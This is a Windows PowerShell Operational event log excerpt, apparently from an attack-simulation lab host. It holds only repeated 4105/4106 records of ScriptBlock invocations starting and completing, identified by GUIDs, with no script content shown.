Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038438
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038437
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038432
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038431
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038409
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038408
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038407
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038406
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038390
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038389
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
